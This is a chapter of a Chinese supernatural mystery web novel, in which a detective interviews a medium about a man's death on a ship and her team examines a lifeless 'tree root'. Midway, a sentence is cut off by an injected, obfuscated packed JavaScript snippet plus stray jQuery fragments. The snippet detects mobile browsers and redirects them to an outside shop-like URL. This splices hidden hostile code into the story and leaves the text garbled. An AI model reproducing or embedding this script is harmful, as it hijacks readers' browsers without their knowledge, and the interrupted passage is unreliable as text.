13. 祭品

作品:《继承遗产后成为最终BOSS

    周宁在进门后留心了下时间,六点二十五分,她本没有看时间的习惯,但不知怎的,有种莫名的紧迫感始终在逼近她。


    她暂时将其归结为查案心切,虽然她既不是名侦探,也不是侦探的挂件助手,纯是个赶鸭子上架的半吊子玄学师傅。


    周宁打断自己还在发散的思绪,对眼前人挤出一个友好的微笑,“你好,我叫周宁,我想跟你打听一下那东西的事。”


    莫拉娜抬起头,这次,她没有戴覆盖全脸的黑色面纱,露出了真实面容:那是一张称不上美丽的脸庞,太过消瘦而又苍白,书写着无法撼动的冷漠。唯有那双紫罗兰一般的眼睛,摄人心魄。仿佛一尊嵌着紫水晶的石膏雕塑,将所有情绪都藏进那片紫色。


    “我知道你是谁,有话请直说吧。”


    在苏霖的翻译下,两人开始了对话。


    “关于那东西,你知道多少?你是在哪见过它吗?”


    “不,我从未亲眼见过它,我只是感知到了它,在伊万诺夫死的那晚。”


    她说起了那晚发生的事:晚饭后,伊万诺夫前往甲板散步,但在回来后整个人仿佛失魂般迟缓,随后他在凌晨2点消失。


    “消失。”她重复着这个词,“字面上的意思,伊万诺夫在房中消失了,门锁没有任何开启的痕迹。不,也许他根本就没有回来过,我们所目睹的不过是一面虚假的幻影。”


    “监控是否有记录他的进出?”


    “没有,那段录像出了问题,明显被人做过手脚,或许是蒙特罗,又或是梅西耶。”莫拉娜停顿片刻,拢了下纱质披肩,继续说道。


    “在那之后,伊万诺夫就死了。我感知到了他死亡的那一瞬间,还有在他死后向我转移的力量,其中蕴含的强烈情绪。”说到这,莫拉娜抬起头,脸部肌肉微微抽动,紫色眼眸中似乎酝酿着一场风暴。


    “一开始,是恐惧,对于死亡的深切恐惧,一种被逐渐吞噬的无力感,仿佛被活埋般,只能无力地任凭生命的不断流失。”


    “但随后而来的,却是令人毛骨悚然的幸福感。那是所有欲望都被满足后的平静,再没有任何恐惧、忧虑、躁动,美好得就像一场梦……”她下意识掐紧手腕,苍白的肌肤有了几分血色。


    “就像这样?”苏霖抽出文件夹的一页,照片上的男人闭着眼,面目很是平静祥和,仿佛陷入一场美梦。


    莫拉娜低头注视着文件,细长的五指拂过照片,仿佛在触碰那位死去多时的家主。


    “正是在那一刻,我感受到那个东西的存在。”她缓缓开口,声线微微发抖,似乎吐出的气息里也浸透寒意,“它像是距离我很遥远,又像是近在耳边,我对它有种难言的亲近感,就像是孩子对于母亲,那种生来的渴望与依恋。”


    她忍耐般撕咬着下唇,继续描述当时的感受,“那种亲近感,不断蛊惑着我向它靠近,向它献上一切。它好像在告诉我,你是特别的,是被选中的……”


    “啪。”周宁放下录音笔,将桌上的酒推向她,“你要不要歇会,喝口水?”


    她摸了摸咬破的下唇,随即拧开酒瓶,给自己倒了杯威士忌,连灌两口酒后,才再次开口,“我当时沉浸在那种感受中,想要对它张开怀抱,成为它的‘孩子’。但就在我将要触及它的那刻,一股从未有过的强烈饥饿感袭来,像是被饥渴折磨了数百年后,看到食物时的狂喜、贪婪,以及抽搐般的痛苦。”


    说完,她又猛灌一口酒,试图将记忆中的情绪压下去,“我因此受惊,在呕吐中醒来。之后的事情,你们应该比我清楚。”


    周宁翻看尸检报告:死亡时间在凌晨5点,他失踪那晚就死了,死因是窒息而亡,都与莫拉娜所说一致。


    至于为什么尸体会动,那不重要,这世界都有超能力存在,就算出现僵尸她也不会意外。


    “我没有任何苛责你的意思,但是只凭这些感受,是找不到那东西的。”周宁看着快见底的酒瓶,“你还有其他能补充的吗?”


    “我不知道那是什么东西,我认为我们也不该知道。那东西已经超出了常人的理解,但是……”她有些语无伦次,沉默片刻后道,“但我清楚,它很饥饿,它仍在生长,就在这艘船上。”


    “毕竟,只有弱小的魔鬼才需要蛊惑,强大的恶魔会直接掠夺。”她盯着杯中的酒液,最终一饮而尽,“我已经无法去面对那个东西,所以我躲在这个地方,像个丧家之犬。唯有处在这艘船的底层,见不到阳光与海洋,我才会感到安全。”


    说完后,她便陷入沉默,像是耗尽了所有力气,再也没有出声。


    “谢谢。”周宁收起录音笔,“如果我能找到那个东西,我会通知你的。”


    她起身离开,把宁静重新还给这个san值快归零,还要强作镇定的女人。


    就在她走到门前时,身后再次传来女人的声音,“伊万诺夫死了,那是他活该,他犯下的罪行够他死上百遍。但他应当受到审判或因罪孽而死,而不是像一只羔羊,一头祭品,被送给那种东西吃。”


    “有人在喂养它,以我们所有人为养料。”莫拉娜抬起头,紫色双眸中涌动着平静的愤怒。


    …………


    “你认为会是谁?”


    “头号怀疑对象肯定是梅西耶。”


    月光餐厅里,周宁边享用着晚餐,边与队友们讨论着今天的事。


    索莱达说起了她判断的依据,“梅西耶跟伊万诺夫可是死对头,这件事无人不知,都快三十年的事了。”


    “多大仇?”周宁好奇。


    “血海深仇。”索莱达压低声音,“据说当初梅西耶的初恋,就是因为被伊万诺夫□□而自杀了。”


    “我天。”周宁吃到惊天大瓜,“那他们俩谁是同?”


    “当然是梅西耶,不过要是伊万诺夫的话,哈哈哈哈……”索莱达被自己的想法逗笑了。


    “那她的确有相当充分的作案动机。”周宁想了想,“要是真的,那种人渣死就死了吧。”


    “梅西耶也不是什么好东西,两人纯是狗咬狗。”索莱达嗤笑一声,“可惜呀,有条狗死得太快了,压制不了另一头更疯的,蒙特罗又擅长见风使舵。”


    周宁已经开始打退堂鼓,“你的想法呢,老板?如果你不想继续深入的话,我随时可以撤退。”


    “我有时分不清,你究竟是在装懦弱,还是在刻意激将?”索莱达已经开始习惯她特别的表达方式,“但不论如何,我都会查下去,我付了钱的,侦探小姐。”


    “如果查到梅西耶?你会跟她开战吗?”


    “真查到那老狐狸,我们反而得松口气,能离间她与盟友关系的机会可不多。”索莱达咀嚼着牛排,眉头越来越紧,“我最担心的事情是,如果不是她,而是一位从未想到,也没能找到的对象……”


    “你听说过墨菲定律吗?”


    “那就忘了我刚才说的话吧。”


    在她们聊天时,另一位队友也姗姗来迟,她拨弄着红发坐下,脸上的雀斑在灯光下跳动,“我来晚了,你们弄到有价值的情报了吗?”


    “自己听。”索莱达递过录音笔。


    “你们认为她有多少是实话?”听完录音后,艾尔莎的第一反应是质疑。


    “关于那东西的感受,应该都是真的。”周宁回想她的反应,“如果连那种恐惧都能伪装,她就可以去拿奥斯卡了。”


    索莱达听出言下之意:“你认为她对伊万诺夫的死,有所隐瞒?”


    “不好说。但他人都死了,总不可能跳起来反驳。”她的脑海中浮现那具倒在泳池中的尸体,在树丛中蠕动钻出的模样。


    “啊,对了,你能帮我看看这个是什么吗?”周宁从背包里取出密封袋,里面装着在浴池


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17471007|201478||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    捡到的树根。


    艾尔莎的目光也被吸引,拿起密封袋,对照着灯光,打量起那截枯萎干瘪的树根,她的表情也从一开始的轻松变得凝重。


    “你们从哪弄来的?”她反问她们。


    “日光浴池的某处花园。”索莱达扬首指向周宁,“她找来的。”


    艾尔莎低头看着那截灰白枯萎的树根,“有点像杉树的根,我从未见过这种植物,我需要近看才能分辨清楚。”


    “请便。”


    她拉开密封袋,迎面而来是一股浓烈而熟悉的气息,那是蕨类独有的味道,始终弥漫在阳光浴池的空气里。


    当她的手指触碰到那截树根时,仿佛触碰到粗粝的石头,带着无机物的冰冷与坚硬。她感受不到任何植物应有的生命力,好像那是块沉睡亿年的化石,被漫长的时间抹去生机,只留下一具空壳。


    “这东西没有一丝生机残留,说它是塑料我都信。”她的脸上写满疑问,“就算是风化的老树,我也能感受到生命留下的痕迹,但是这截树根……”


    她与自然共存了二十余年,还是头一回见到这种东西,“它简直就像是某种蛇蜕?只是残留着相似的外表。”


    “那它会不会,就是那东西褪下来的壳?”周宁顺着她的思路猜想。


    艾尔莎转头盯着她,“树不会蜕壳。”


    “你觉得它是树吗?”周宁拿起不足十厘米的根须,“如果它是,它会有多大?”


    “从外形判断应该是主根,这棵树或许还是棵幼苗……”她的话音戛然而止,她想起了录音中的对话——那东西还在生长,有人在喂养它。


    但她又下意识地想否认这一荒诞的可能:树会吃人?无稽之谈!可要如何解释眼前已超出她认知之外的“树根”?


    “让我再看看。”她从周宁手中接过那枚树根,再次仔细查看起来。


    周宁哀叹一声,“完蛋了,我们好像真在克苏鲁小说里。”


    “我以为你早就知道这事了呢。”索莱达打破她的侥幸心理,“侦探小姐,你现在有头绪吗?”


    “没有。”周宁瘫在椅子上,望着头顶的水晶吊灯,“你说,植物生长最需要什么?”


    “营养?水源?阳光?”索莱达恍然道,“这么说,我们还得去浴池一趟?”


    “我感觉,在那边,不会再找到任何线索了。”周宁看了眼时间,正好是晚上九点。


    周宁的预感是对的。


    当她们再度返回浴池时,这里已整洁如新,仿佛什么也不曾发生过。


    女妖艾尔莎蹲在曾发现树根的地点,来回搜寻数遍无果,“到处都是植物修整后的痕迹,却根本找不到它存在过的证据。”


    索莱达补充道:“而摄像头在期间被破坏过,这些盲区足够搬走一棵树苗。”


    在这艘巨轮上,她们纵然有家世与超能力,也显得势单力薄,那些藏在水面之下看不见的影子,正在驱动整艘船的运转。


    “我说,你就不能再使用一次那个能力,追踪这截树根的来源吗?”索莱达将希望寄托在周宁身上,艾尔莎也投来好奇的目光。


    “哦?还有这种能力?”


    “我试过了,但什么也没有感觉到,就像女妖说的,这是个死物,是段脱离联系的蛇蜕。”说到这,周宁忽然想起了什么,“我去,我有个大胆的想法。”


    “说吧。”“快说!”


    “还是算了,牺牲太大了。”周宁还是迈不过心那道坎,“大不了我把钱退你。”


    “你倒是说啊。”索莱达急了,“还有四天时间,拜托!我可不想死在这艘破船上!”


    “你这么急着找那东西,我以为你活够了呢。”周宁下意识吐槽一句,“我不能保证这个方法能成功。”


    苏霖也被勾起了好奇心:“究竟是什么办法?”


    “去摸死人。”